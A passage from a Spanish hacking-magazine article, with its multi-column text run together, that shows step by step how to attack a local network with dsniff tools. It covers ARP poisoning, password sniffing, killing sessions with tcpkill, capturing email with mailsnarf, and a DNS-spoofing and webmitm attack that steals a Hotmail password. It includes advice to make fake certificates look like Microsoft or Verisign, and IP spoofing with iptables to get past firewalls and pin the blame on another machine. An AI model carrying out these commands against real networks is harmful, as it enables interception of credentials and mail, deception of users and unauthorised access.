tengas que hacer otra cosa que mirar tu navegador :P. Antes de instalar dsniff deberéis aseguraros de tener instalados los siguientes paquetes: Berkeley DB, OpenSSL, Muchas de estas herramientas admiten filtros libpcap, libnet y libnids. Todas las distribuciones de Linux del estilo de tcpdump, que permiten “acotar” que conozco disponen de una versión compilada “lista- el tráfico que se va a “tratar” de una forma para-instalar” de dichos paquetes. La compilación e especial... Los que no conozcáis los filtros instalación de paquetes en Linux escapa al alcance de este tcpdump ya sabéis: google ;) artículo... Sin duda, aparecerá pronto en la revista en la serie dedicada a GNU/Linux. Y creo que no me dejo ninguna... A poco que leáis podréis ver las enormes posibilidades de Recordemos los pasos a dar para que un ataque esta magnífica herramienta. Por cierto... Existe de hombre en el medio sea eficaz. Pero esta PC PASO A PASO Nº 11 Página 39
  • 40. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL vez... iremos ejecutando las instrucciones en las pruebas usaremos varias consolas la consola de nuestro Linux. Realizaremos todos precisamente para ver la salida a pantalla de los pasos como usuario “root” (ver artículo las herramientas y entender lo que hacen... sobre Linux en la revista Nº 10). Bien, Abramos Posteriormente podéis ejecutar las herramientas una consola como root y sigamos el en una sola consola, simplemente procedimiento comentado anteriormente... redireccionando la salida, p.ej: arpspoof –t 192.168.0.1 192.168.0.2 > /dev/null Contamos con las 3 máquinas ya conocidas de 2>&1 &). nuestra red, a saber: En este momento ya habremos conseguido que Maquina UNO: el tráfico que va dirigido de Máquina UNO a - IP: 192.168.0.1 Máquina DOS (UNO->DOS) pase a través de - MAC: 00:04:76:22:3E:AD nosotros. Maquina DOS (vamos a suponer que es el gateway de salida a Internet o router... para hacerlo más interesante ;) ): ! Po d e m o s d e t e n e r. . . - IP: 192.168.0.2 - MAC: 00:04:75:25:3F:AE Podemos detener la ejecución de arpspoof en cualquier momento pulsando la combinación “mágica” Ctrl-C. Maquina ATACANTE (desde ahora “intruder”): - IP: 192.168.0.10 - MAC: 00:04:76:34:2A:2F c) Ahora debemos tomar la decisión de a) Vamos a permitir que el tráfico si queremos también quedarnos con el tráfico “atraviese” nuestra máquina (Máquina que venga de Máquina DOS hacia Máquina ATACANTE o intruder) activando el ip UNO. OJO... No es lo mismo. Podéis verlo como forwarding: una carretera con dos carriles... De momento SOLO hemos interceptado UN carril. En función intruder:~ # echo 1 > /proc/sys/net/ de lo que deseemos hacer será conveniente o ipv4/ip_forward no. Hacerlo es tan simple como repetir el comando anterior levemente modificado. b) Ahora procedemos a “envenenar” la Abrimos otra consola (no cerréis la anterior, caché ARP de la Máquina UNO de forma que ¿vale?) y escribimos: piense que la IP de la Máquina DOS la alcanzará en la MAC Address de nuestra máquina. Para intruder:~ # arpspoof –t 192.168.0.2 ellos tecleamos: 192.168.0.1 intruder:~ # arpspoof –t 192.168.0.1 Aquí hacemos lo contrario que en el punto 192.168.0.2 anterior. La caché que envenenamos es la de la Máquina DOS, diciéndole que la IP de la De esta forma decimos que “realice un arp Máquina UNO la podrá alcanzar usando nuestra spoof en la caché de la máquina 192.168.0.1 MAC (la de intruder). Ahora, el tráfico que vaya – Máquina UNO - metiendo nuestra MAC para de Máquina DOS a Máquina UNO TAMBIEN la IP 192.168.0.2 – Máquina DOS-. Observad atravesará nuestra máquina (ya tenemos que arpspoof comienza a realizar un controlado el segundo carril ;). “spamming” de ARP reply para tratar de Página 40 PC PASO A PASO Nº 11
  • 41. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL d) Ahora solo falta que hagamos “algo” Abrimos una segunda consola (Consola 2): con ese tráfico... Exploremos algunos “algo” - Consola 2 que podemos hacer... intruder:~ # dsniff –w fichero_salida Lo dejamos corriendo y a esperar que los 6.- ALGUNOS ATAQUES POSIBLES passwords vayan cayendo y grabándose en el USANDO LAS HERRAMIENTAS DE fichero... Posteriormente podremos ver el DSNIFF. contenido de este fichero usando la opción –r En este momento, disponemos de tráfico de de dsniff: dsniff –r fichero_salida ;). red que NO pertenece a nuestra máquina Este fue el uso típico de dsniff en sus pasando a través de nosotros... ya podemos comienzos... Sin embargo, hay programas que hacer lo que tuviésemos pensado. Veamos realizan esta operación de forma más cómoda algunas posibilidades... y vistosa (ver Cain, p.ej.)... 6.1.- Esnifando Contraseñas. La función básica del programa dsniff, programa que da nombre a la “suite”, consiste en esnifar ! A la hora... contraseñas. Realmente no tiene ninguna ciencia. Bastará con realizar un ataque de MiM A la hora de esnifar contraseñas de ORACLE en una y poner a correr la aplicación dsniff... conexión SQLNet, se debe ampliar el número de bytes a Veámoslo: leer por dsniff. Esto es debido a que dicho protocolo resulta extremadamente... charlatán. Un valor de 4096 bytes será Abrimos una consola (nos referiremos a ella suficiente, por lo que deberemos usar la opción –s 4096 como “Consola 1”). (dsniff –s 4096 –w fichero_salida)... Este punto concreto - Consola 1 está explicado en las FAQ de dsniff. intruder:~ # echo 1 > /proc/sys/net/ipv4/ ip_forward intruder:~ # arpspoof –t 192.168.0.1 192.168.0.2 6.2.- Matando o Imposibilitando 0:04:76:34:2a:2f 0:04:76:22:3e:Ad 0806 42: conexiones concretas. arp reply 192.168.0.2 is-at 0:04:76:34:2a:2f En ocasiones, nos puede interesar matar una 0:04:76:34:2a:2f 0:04:76:22:3e:Ad 0806 42: conexión establecida entre dos máquinas arp reply 192.168.0.2 is-at 0:04:76:34:2a:2f porque, por ejemplo, la autenticación ya se ha ... realizado y hemos llegado tarde para esnifar las contraseñas. ! En este caso... Por ejemplo, supongamos una sesión telnet preestablecida de Máquina UNO a Máquina En este caso, NO nos interesa, en principio, el tráfico que DOS. Hemos llegado tarde y nos hemos situado vaya de Máquina DOS a Máquina UNO, dado que “en el medio” (MiM) cuando el usuario de suponemos que la autenticación irá en un solo sentido para Máquina UNO ya se había autentificado (había la mayor parte de los protocolos... Si lo necesitásemos hecho login). ¿Qué podemos hacer?... Pues (autenticación de doble sentido) tan sólo deberemos abrir una opción consiste en “matar” su sesión una consola a mayores y envenenar la caché del gateway obligándolo a reconectarse (y hacer login de (Máquina DOS) tal y como se explicó en el apartado c del nuevo enviando su contraseña a través de la punto anterior. red otra vez). PC PASO A PASO Nº 11 Página 41
  • 42. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL Como siempre, partimos de que previamente por delante... Matar una conexión YA ES hemos abierto una consola (Consola 1) y bastante intrusivo y “cantoso”... No hay por ejecutado los comandos necesarios para el qué dar el cante más allá de lo necesario, arp spoofing: ¿no? ;). - Consola 1 No me extenderé más en esta sintaxis. Los intruder:~ # echo 1 > /proc/sys/net que hayáis leído todo el artículo hasta este /ipv4/ ip_forward punto recordareis (y si no lo hago yo ahora) intruder:~ # arpspoof –t 192.168.0.1 que comenté que muchas (casi todas) las 192.168.0.2 herramientas del paquete dsniff permitían usar filtros del estilo de tcpdump para delimitar Ahora vamos a acabar con esa maldita sesión el tráfico que debían tratar... Bien, el de este telnet que nos hemos encontrado empezada... ejemplo es un filtro sencillo de ese estilo. Más Abrimos una segunda consola (Consola 2): información en Google ;). - Consola 2 Usando estos filtros podemos hacer otras intruder:~ # tcpkill src 192.168.0.1 and cosas... Por ejemplo. Supongamos que, por dst 192.168.0.2 and dst port 23 alguna oscura razón, no queremos que una tcpkill: listening on eth0 [src 192.168.0.1 and máquina determinada (Máquina UNO) pueda dst 192.168.0.2 and dst port 23] conectarse a las páginas web de Playboy ni a 192.168.0.2:23 > 192.168.0.1:3298: R 3745379103:3745379103(0) win 0 la de IBM (Como he dicho, nuestras razones 192.168.0.2:23 > 192.168.0.1:3298: R deben ser muy “oscuras” en este caso). 3745442377:3745442377(0) win 0 192.168.0.2:23 > 192.168.0.1:3298: R Bien, hacemos lo de siempre. En una consola 3745505651:3745505651(0) win 0 realizamos el arp spoofing (si no lo hemos .... parado en la Consola 1, podemos dejarlo Una vez veáis una salida similar a esta PULSAD corriendo). Ya sabéis, los dos comandos de Ctrl-C INMEDIATAMENTE para detener la siempre (echo 1... y arpspoof ...). ejecución de tcpkill. De lo contrario, el usuario Ahora usamos el tcpkill con el siguiente filtro de Máquina UNO NO podrá reconectarse vía en la Consola 2: telnet a la Máquina DOS... Veamos ahora el - Consola 2 comando: intruder:~ # tcpkill host www.playboy.com or host www.ibm.com Lo primero que nos encontramos es una tcpkill: listening on eth0 [host www.playboy.com “extraña” (para muchos) sintaxis en el comando or host www.ibm.com] tcpkill: src 192.168.0.1 and dst 192.168.0.2 and dst port 23 Ahora, si el usuario de la Máquina UNO trata de acceder a cualquiera de esas direcciones... Le estamos diciendo que seleccione aquellas Simplemente NO podrá. El programa tcpkill conexiones provenientes de 192.168.0.1 matará cualquier intento por su parte. (Máquina UNO) y que tienen como destino el Obviamente, hay mejores formas de evitar que puerto 23 de la Máquina DOS (192.168.0.2)... un usuario se conecte a determinados hosts... ¿Por qué el puerto 23? Pues porque es el Pero con tcpkill podemos parar CUALQUIER puerto de telnet. ¿Y por qué tenemos que dar tipo de conexión a cualquier puerto de una tantos datos? Pues porque de lo contrario, forma sencilla y controlada hasta que pulsemos tcpkill mataría las conexiones que se encontrase Ctrl-C o matemos el proceso. Insisto en que Página 42 PC PASO A PASO Nº 11
  • 43. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL le echéis un ojo a los filtros tcpdump... Pueden - Consola 1 resultar de lo más efectivos en las manos intruder:~ # echo 1 > /proc/sys/ net/ipv4/ip_forward adecuadas. intruder:~ # arpspoof –t 192.168.0.1 192.168.0.2 Ahora ya sabéis por qué os dije antes, al matar la sesión telnet, que abortaseis rápidamente - Consola 2 el programa tcpkill (con Ctrl-C). Este programa intruder:~ # arpspoof –t 192.168.0.2 192.168.0.1 se queda a la escucha e impide las conexiones del tipo especificado en sus filtros, por lo que - Consola 3 de permanecer activo la Máquina UNO no podría realizar una nueva conexión telnet a la intruder:~ # mailsnarf Máquina DOS (en el ejemplo anterior). mailsnarf: listening on eth0 From unocualquiera@dominio.com Thu May 29 02:19:57 2003 Una herramienta similar (y muy curiosa, si se Message-ID: <3EE76A88.6010800@slater-i.com> Date: Wed, 11 Jun 2003 19:44:40 +0200 me permite decirlo) es tcpnice. Su sintaxis es From: Uno Cualquiera <unocualquiera@dominio.com> idéntica a la de tcpkill... Pero en lugar de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) “matar” una conexión lo que hace es Gecko/20020826 ralentizarla... Hacerla insufriblemente lenta. X-Accept-Language: es, en-us, en Probadla, es cuanto puedo decir. Es un MIME-Version: 1.0 ejercicio... simpático ;). To: echo@rediris.es Subject: Probando el correo este... Content-Type: text/plain; charset=us-ascii; format=flowed 6.3.- Quedándonos con el correo que no Content-Transfer-Encoding: 7bit nos pertenece. Otra de las utilidades contenidas en el paquete Esto es un ejemplo de prueba de correo... Hay que ver que pasa... dsniff es mailsnarf. Como su nombre indica, From mailsnarf Thu May 29 02:20:33 2003 es un sniffer de correo electrónico... Pero NO Received: from chico.rediris.es (chico.rediris.es [130.206.1.3]) de contraseñas. De correo puro y duro. by mail.dominio.com (8.12.9/8.12.9/SuSE Linux 0.6) with ESMTP id h5BKhehL001605 Podemos quedarnos con el contenido de todos for <unocualquiera@dominio.com>; Wed, 11 Jun 2003 19:43:40 -0100 Received: from chico.rediris.es (localhost [127.0.0.1]) los correos que entran o salen de una máquina by chico.rediris.es (8.12.9/8.9.1) with ESMTP id h5BHiPUh004225 y guardarlos en un archivo que luego podremos for <unocualquiera@dominio.com>; Wed, 11 Jun 2003 19:44:25 +0200 revisar con cualquier lector de correo (tipo (CEST) mbox o, para los habituados a Windows, Received: (from daemon@localhost) by chico.rediris.es (8.12.9/8.12.9/Submit) id h5BHiPU5004222; inbox). Wed, 11 Jun 2003 19:44:25 +0200 (CEST) Date: Wed, 11 Jun 2003 19:44:25 +0200 (CEST) En este caso, vamos a necesitar realizar un From: echo-reply@rediris.es Message-Id: <200306111744.h5BHiPU5004222@chico.rediris.es> MiM en toda regla, envenenando las tablas To: unocualquiera@dominio.com caché de ambos extremos. Esto es así porque In-Reply-To: <3EE76A8.60800@dominio.com> mailsnarf esnifa tanto tráfico SMTP (protocolo Mime-Version: 1.0 para el envío de correo) como tráfico POP Content-Type: Multipart/Mixed; Boundary=%#%NextPart#%# Subject: Re: Probando el correo este... (protocolo para la recepción de correo). Es DOMINIO: Parece estar Limpio por ello que deberemos vigilar tanto el tráfico X-UIDL: eh6"!~VF"!]F*"!Z4("! saliente como el entrante... Por lo tanto pasemos a la acción. Usaremos esta vez TRES --%#%NextPart#%# consolas: PC PASO A PASO Nº 11 Página 43
  • 44. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL Hola, De esta forma, cada vez que la Máquina UNO Acabas de enviar un mensaje al Servidor Echo de RedIRIS, la estafeta envíe o reciba un correo veremos el contenido de correo que ha realizado esta operación ha sido "chico.rediris.es".El en nuestra pantalla. Esta salida podría haber cuerpo de esta respuesta automática esta compuesto por la cabecera sido redirigida a un archivo que pudiésemos y el cuerpo de tu mensaje. explorar más tarde, usando el comando Postmaster del Centro de Comunicaciones CSIC/RedIRIS alternativo: - Jesús Sanz de las Heras <jesus.heras@rediris.es> - Carlos Fuentes Bermejo <carlos.bermejo@rediris.es> intruder:~ # mailsnarf > correo_esnifado ______________ __ _____________________________ /_/ PostMaster __ __ postmaster@rediris.es Luego podemos explorar el fichero RedIRIS/CSIC /_/ RedIRIS /_/ Tel: + 34 915855150 correo_esnifado de la misma forma que vemos Serrano,142 __ Fax: + 34 915855146 28006 Madrid /_/ http://www.rediris.es nuestro inbox con nuestro cliente de correo SPAIN Helpdesk de Correo habitual (copiar el fichero en la carpeta en al ____________ Spanish Academic & Research Network ___________________ que tengáis el inbox y abrir después vuestro cliente de correo... A lo mejor necesitáis editar --%#%NextPart#%# el archivo antes de copiarlo y borrar la primera línea “mailsnarf: listening on eth0” ;) ). >From unocualquiera@dominio.com Wed Jun 11 19:44:25 2003 Received: from mail.dominio.com ([192.168.0.1]) by chico.rediris.es (8.12.9/8.9.1) with ESMTP id h5BHiOUh004214 Como otras herramientas, mailsnarf admite for <echo@rediris.es>; Wed, 11 Jun 2003 19:44:24 +0200 (CEST) filtros tcpdump. Además, admite patrones de Received: from dominio.com (nombre_dns [192.168.0.1]) by mail.dominio.com (8.12.9/8.12.9/SuSE Linux 0.6) with ESMTP id h5BKhbhL001597 filtros especiales para seleccionar solo for <echo@rediris.es>; Wed, 11 Jun 2003 19:43:37 -0100 determinados correos con cabeceras o Message-ID: <3EE76A8.60800@dominio.com> Date: Wed, 11 Jun 2003 19:44:40 +0200 contenidos concretos, pudiendo ser From: Uno Cualquiera <unocualquiera@dominio.com> enormemente selectivo. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: es, en-us, en MIME-Version: 1.0 6.4.- Más peligroso todavía: Esnifando To: echo@rediris.es tráfico HTTPS (SSL). Subject: Probando el correo este... Content-Type: text/plain; charset=us-ascii; format=flowed Llegamos ahora a una de las posibilidades mas Content-Transfer-Encoding: 7bit aterradoras de dsniff... La captura de tráfico SLATER: Parece estar Limpio teóricamente seguro al acceder a páginas web Esto es un ejemplo de prueba de correo... Hay que ver que pasa... usando una capa de cifrado SSL (Protocolo HTTPS). --%#%NextPart#%#-- El protocolo HTTPS es usado por multitud de sitios web en los que se requiere seguridad en ! En este ejemplo... el acceso. Se basa en establecer una sesión encriptada y segura entre el cliente y el servidor de forma que el tráfico de contraseñas, tarjetas En este ejemplo hemos enviado un correo a la dirección de crédito y otra información sensible no pueda echo@rediris.es, usada para pruebas de correo entrante y ser leída por terceros... saliente. Si mandas un correo a esa dirección, recibirás un correo de vuelta de forma automática en uno o dos minutos. Sin embargo, la debilidad de este protocolo Aquí se ha capturado el correo enviado (SMTP) y la sigue estando en el mismo sitio en el que respuesta del servidor de rediris (POP). residen la mayoría de los problemas de seguridad: la falta de conocimientos básicos por parte de los usuarios. Página 44 PC PASO A PASO Nº 11
  • 45. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL webmitm se aprovecha perfectamente de esta En resumen... Lo más probable es que no debilidad. No es la única herramienta que os podáis contar con un certificado válido. U os permitirá hacer esto, pero... Es la primera que creáis uno (usando OpenSLL) u os lo bajáis ví y os aseguro que aluciné con los resultados. buscando en Google tal y como os comenté Básicamente funciona como un “relayer” HTTPS más arriba. Partiremos de esta base para el (y HTTP) que actuará como “proxy ejemplo, de forma que veáis en que momento transparente”, recibiendo las peticiones del entra en juego el usuario. cliente y realizando, posteriormente, las mismas peticiones al sitio correcto para devolver la CONSEJO: Si os creáis uno propio podríais usar respuesta adecuada al cliente... Lo frases con “Microsoft” o “Verisign” en todos entenderemos mejor cuando veamos el los campos identificativos del expedidor del ejemplo más abajo. certificado... Así engañará más fácilmente al usuario. No voy a entrar ahora en teoría sobre SSL y PKI (demasiada teoría nos hemos comido para Bien. Suponemos que ya tenemos el archivo un solo artículo). Tan sólo decir que una con el certificado en el mismo directorio en conexión SSL o HTTPS requiere de la existencia que vamos a ejecutar webmitm. Dicho de, al menos, un certificado válido de servidor archivo debe llamarse webmitm.crt y, en este verificado por una CA (Autoridad Certificadora). caso, nos lo hemos bajado de Internet ya creado. Antes de poder usar webmitm deberéis disponer de un certificado propio... Este Vamos a pillar la contraseña de hotmail de un certificado podéis crearlo vosotros mismos usuario de la Máquina UNO (dado que parece usando la funcionalidad del paquete OpenSSL haber mucha gente con cierta “predilección” (buscar información al respecto en Google). por las contraseñas de “jotmeil”). Podríamos También podéis buscar un certificado en google haber seleccionado cualquier otro objetivo (escribid “webmitm.crt” y SEGURO que (amazon, playerauctions, etc). Pero vamos a encontráis algún archivo para bajaros). usar hotmail simplemente por... el morbo. Lo ideal sería contar con un certificado válido Deberemos dar los siguientes pasos previos: de servidor... Hace unos años, thawtee 1.- Conseguir el certificado... Ya lo tenemos. (www.thaute.com) suministraba certificados de servidor válidos durante un mes, con el fin 2.- Crear un archivo de texto al estilo /etc/hosts de poder probar y poner a punto servidores al que llamaremos hotamail.hosts web seguros, si no recuerdo mal... Pero CREO Este archivo contendrá entradas para todos que ya no lo hace (tan sólo suministra aquellos dominios que queramos controlar... certificados de cliente, si no me equivoco). En nuestro caso haremos que hotmail.com, Me parece recordar haber usado uno en mi passport.com y msn.com apunten a la dirección primera configuración de Apache-SSL. IP de nuestra máquina atacante intruder. El Actualmente no sé si alguna compañía archivo quedaría así: suministra gratuitamente un certificado de servidor. Hace varios años que uso mi propia 192.168.0.10 *.passport.com CA para realizar pruebas y puestas a punto. 192.168.0.10 *.hotmail.com Si contaseis con un certificado válido, el usuario 192.168.0.10 *.msn.com NO se enteraría absolutamente de nada. PC PASO A PASO Nº 11 Página 45
  • 46. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL - Consola 2 ! Podéis crear... intruder:~ # dnsspoof –f hotmail.hosts dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.0.10] Podéis crear este archivo con cualquier editor de textos como vi, nano, pico o el que prefiráis. Ok. Ya tenemos engañada a la Máquina UNO para que piense que nosotros somos el servidor DNS y tenemos corriendo el programa dnsspoof Ya tenemos el archivo hotmail.hosts con las que atenderá peticiones DNS normales. Si la líneas expuestas... Si os fijáis, estamos diciendo Máquina UNO pregunta por cualquiera de los que los dominios passport.com, hotmail.com dominios que aparecen en nuestro fichero y msn.com están escuchando en la IP hotmail.hosts, la respuesta será la IP de nuestra 192.168.0.10 (la de nuestra máquina atacante). máquina para que realice las peticiones nuestro Lo que trataremos de hacer es una resolución “server” (webmitm)... En cualquier otro caso de nombres falsa para que las peticiones se dnsspoof usará el DNS real para devolver la realicen directamente a nosotros (a webmitm, IP correspondiente de Internet (podemos ver de hecho), en lugar de al servidor real en que por defecto existe un filtro levantado para Internet. dnsspoof que dice que responda a las peticiones que le lleguen al puerto 53 y que NO provengan Este archivo lo vamos a usar para lanzar otra de nuestra máquina... De esta forma herramienta de la “suite” que nos será de gran NOSOTROS si que podremos conocer las IP utilidad en nuestra tarea: dnsspoof... reales de hotmail.com, msn.com y passport.com). 3.- Y ya estamos listos. Vamos a ello... (no sé Ok... Estamos listos. por que coño pongo un punto 3 para decir esto :P ). - Consola 3 intruder:~ # webmitm -d Usaremos 3 consolas nuevamente. En una webmitm: relaying transparently ejecutaremos los comandos para el MiM, en otra el dnsspoof y en la tercera... Ya tenemos a webmitm corriendo. Siempre lo tachaaaaannn... webmitm. ejecuto con la opción –d para observar todo el tráfico generado por el cliente. (También - Consola 1 podríamos haber redirigido la salida a un fichero intruder:~ # echo 1 > /proc/sys/net/ para explorar posteriormente “off-line”, tal y ipv4/ip_forward como hicimos con mailsnarf). intruder:~ # arpspoof –t 192.168.0.1 192.168.0.2 Ahora, cuando el cliente de la Máquina UNO (En este caso, la dirección IP 192.168.0.2 trate de conectarse con hotmail, realmente apunta al gateway/router de salida a Internet, estará conectándose con nuestro webmitm, porque suponemos que el DNS está en una realizándole a él las peticiones. ¿Qué ocurrirá dirección externa a la red.. En caso de contar cuando entre en la “zona segura” de hotmail con un DNS primario propio e interno, deberéis para hacer login? Pues que le pedirá a nuestro sustituir aquí la IP. Lo que pretendemos es querido webmitm el certificado de servidor, en que las peticiones DNS las haga a nuestra lugar de pedírselo a hotmail.com o a máquina donde escuchará dnsspoof.) passport.com... Y aquí entra en juego el usuario. Dado que el certificado que le vamos a dar Página 46 PC PASO A PASO Nº 11
  • 47. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL nos lo hemos bajado de Internet y no está validado por una CA autorizada, el navegador Si han decidido seguir adelante veremos una del cliente cantará con una pantalla similar a salida similar a esta: esta (dependiendo del navegador y su versión): ... P O S T / p p s e c u r e / p o s t . s r f ? lc=3082&id=2&tw=20&fs=1&cbid=24325&da=passport . c o m & k p p = 2 & s v c = m a i l & m s p p j p h = 1 H TT P / 1 . 1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: es Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate C o o k i e : M S P P r e = u n o c u a l q u i e ra @ h o t m a i l . c o m ; B r o w s e r T e s t = S u c c e s s ? ; MSPRequ=lt=1055352925&co=1&id=2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: loginnet.passport.com Content-Length: 82 Connection: Keep-Alive Cache-Control: no-cache Referer: http://login.passport.net/ uilogin.srf?id=2 login=unocualquiera&domain=hotmail.com&pas swd=supasswordenclaro&sec=&mspp_shared=&pa dding=xxxxxxxx Y aquí surge el problema. Si todo va bien (o webmitm: child 1242 terminated with status 0 mal, según se mire), el usuario ACEPTARÁ el ... mensaje sin más (pulsará “Sí” a la pregunta desea continuar)... En este caso ya es nuestro. Ya tenemos el password de hotmail de ese También podría ser que pulsase en “Ver usuario (que es, obviamente, certificado”... Aquí es donde entra en juego supasswordenclaro) y podemos hacer cuantas nuestra inventiva a la hora de haber usado estupideces creamos necesarias con él :P. palabras como “Microsoft” o “Verisign”, de forma que no profundice demasiado en el Desde luego, he acortado la salida para que tema y acabe confiando. se vea la parte “caliente”... En realidad es bastante mayor, pudiendo ver todo el tráfico Si, por el contrario, el usuario decide rechazar enviado por el cliente, incluyendo las cookies. el certificado... Mala suerte. Hemos dado con un usuario precavido que no se fía ni de su Es obvio que usar esta herramienta para sombra y que no nos va a permitir esnifar su capturar contraseñas de hotmail es, cuando conexión SSL (dado que esta NO se va a menos, una frivolidad (o una estupidez)... Pero establecer). el daño que podría causar en conexiones a otro tipo de sitios (banca electrónica, sitios Desgraciadamente (o afortunadamente, según que requieren tarjetas de crédito, información se mire de nuevo), la tónica general será que MUY personal, etc) es igualmente evidente. la mayoría de los usuarios aceptarán el certificado y seguirán adelante entusiasmados Esto nos lleva a otra máxima en seguridad: La por poder volver a entrar en su idolatrado seguridad real NO existe, es tan sólo un hotmail... ¡Y serán nuestros! espejismo. Las conexiones SSL se consideraban PC PASO A PASO Nº 11 Página 47
  • 48. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL invulnerables si la clave de encriptación era autenticación en base a la IP que realiza la lo bastante grande... Lo cierto es que con una petición. O como intentar llegar a una máquina herramienta como esta acabamos de saltarnos que tan sólo permite que la accedan desde ese maravilloso paraíso de la seguridad en las determinadas IP’s.. Pues bien, ahora veremos comunicaciones que nos habían prometido... una técnica tan simple como efectiva. Contando en nuestro caso con la ayuda de uno de tantos millones de usuarios confiados Recuerdo que un día me estaba preguntando que nada saben de PKI ni de CA’s (ni les por qué no podría suplantar una IP y engañar importa). a un host al que ya había hecho creer que mi dirección MAC se correspondía con esa IP. Se No quisiera finalizar este apartado sin hacer me ocurrieron varias alternativas, a cual más hincapié en un punto concreto: dnsspoof. Aquí compleja... Tonto de mí. Como casi siempre, lo hemos usado, mencionándolo casi de la respuesta estaba al alcance de mi mano. pasada, para hacer creer a la víctima que los Debajo de mis narices... tan cerca que casi me dominios de hotmail se corresponden con patea el culo... Pero tuvieron que ser otros los nuestra IP (traducción DNS típica)... Pero que me abrieran los ojos. Como siempre, en imaginaros las posibilidades. Podéis hacer el mundo de la red encuentro gente que me creer a cualquier máquina, que trate de hace sentir como un estúpido y leo artículos alcanzar a otra por nombre, de que ese que hacen que piense “¿cómo no habré caído “nombre” se corresponde con vuestra IP... en algo tan tonto?”... Pues porque debo ser Podéis haceros los receptores de cualquier tonto, supongo. petición. Esto, obviamente, tiene múltiples aplicaciones (pensad en como podríais La razón por la que os dije al principio que la combinar esta herramienta con un ataque suplantación de IP que íbamos a realizar era como el descrito por Vic_Thor en el foro relativo trivial con Linux y que no me había preocupado a la captura de hashes vía HTML... Las de mirar cómo podría hacerse con Windows, máquinas de vuestra red local serían como es porque la herramienta que vamos a usar mantequilla). está tan íntimamente ligada a las últimas versiones de este Sistema Operativo que ni se 7.- LA GUINDA DEL PASTEL... IP SPOOF. me ocurrió pensar en ella... Y ya nos estamos acercando al final. Algunos dirán “ooooooohhhhh”. Otros dirán Si, queridos amigos y amigas. Estoy hablando “bieeeeeeeennn”. Otros no dirán nada porque de iptables. no habrán llegado a este punto... Pero... Expliquemos todo el proceso. En cualquier caso, a los que os hayáis sentido interesados por este tema, yo os digo: Puta En primer lugar, necesitaremos realizar un arp madre... Aún hay más ;) spoofing de doble sentido (como el visto para mailsnarf). Envenenaremos la caché de una Como comenté al principio, hablando del IP máquina con una IP permitida y la caché de Spoofing (Suplantación de IP), estamos en la máquina objetivo a la que queremos llegar disposición de atravesar firewalls, saltarnos (o que queremos atravesar)... Hagámoslo como filtros IP y reírnos de reglas de acceso basadas siempre. Suponemos que el gateway de en direcciones IP. Máquina DOS tan sólo permite que a Internet En ocasiones os habréis preguntado como salga la Máquina UNO, comprobando su IP... saltarnos un proxy o firewall que realiza Comencemos. Abriremos nuevamente 3 Página 48 PC PASO A PASO Nº 11
  • 49. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL consolas: aplicable a los paquetes que enviemos al gateway (máquina 2). El comando sería así: - Consola 1 iptables -t nat -A POSTROUTING –d intruder:~ # echo 1 > 192.168.0.2 -j SNAT --to 192.168.0.1 /proc/sys/net/ipv4/ip_forward intruder:~ # arpspoof –t 192.168.0.1 Hemos realizado un ataque de IP Spoof en 192.168.0.2 toda regla, sin las dificultades tradicionalmente asociadas a este concepto. Nos encontramos - Consola 2 exactamente en la situación descrita en el intruder:~ # arpspoof –t 192.168.0.1 Gráfico 6. 192.168.0.2 Durante las pruebas nos conectamos por telnet Ya tenemos a ambas máquinas engañadas a un servidor Windows 2000 en el que habíamos para que envíen su tráfico a través de configurado un filtro IPSec que sólo permitía nosotros... la entrada telnet a la máquina cuya IP estábamos suplantando... En el visor de sucesos Y ahora... La magia. Brillante, sobre todo por quedó registrado el acceso como acceso su simplicidad. permitido de la Máquina UNO, con su IP correspondiente. Hicimos lo mismo con un - Consola 3 acceso al Servidor WEB con los mismos intruder:~ # iptables -t nat -A resultados... Finalmente, colocamos un POSTROUTING -j SNAT --to 192.168.0.1 cortafuegos de filtrado IP en el medio y... LO ATRAVESAMOS SIN PROBLEMAS. Si hubiésemos ¡Y ya está! Cualquier aplicación (telnet, netcat, hecho algo “inadecuado”, todos los dedos (y navegador, cliente de correo, cliente VNC... los logs) habrían señalado a la Máquina UNO LO QUE SEA) que lancemos desde nuestra como la culpable ;) Durante todo este tiempo, máquina saldrá con la dirección IP de la la Máquina UNO seguía realizando sus Máquina UNO. Pero además, dado que el conexiones normalmente, sin enterarse de tráfico devuelto por el gateway pasa por nada... Lo mismo que el gateway :) nosotros (al haber envenenado su caché arp), iptables es tan listo que sabe identificar que Después de este episodio de euforia, veamos conexiones empezamos nosotros y cuales la instrucción que hemos ejecutado. Lo único empezó la Máquina UNO de verdad... Es decir, que hemos hecho ha sido aprovecharnos de RECIBIREMOS LAS RESPUESTAS A LAS las posibilidades de POSTROUTING (postrutado) PETICIONES QUE HAGAMOS, sin impedir el de IPTABLES, usando la tabla NAT, para tráfico que este cursando la Máquina UNO. traducción de direcciones, en el momento en el que el paquete esté listo para salir Ojo. Si intentamos acceder a cualquier otra (POSTROUTING), indicándole que cambie la máquina no podremos hacerlo... La razón es IP fuente (-j SNAT) y que use la de la Máquina que estamos saliendo con una IP que no es suplantada (--to 192.168.0.1). El resto del la nuestra. Dado que no hemos envenenado trabajo lo realizan el dúo iptables/Netfilter por la caché de esa otra máquina, las respuestas nosotros. no llegarán a nuestro equipo. Esto puede solventarse añadiendo una condición más al Ciertamente, cuando veo cosas como estas, comando iptables: -d 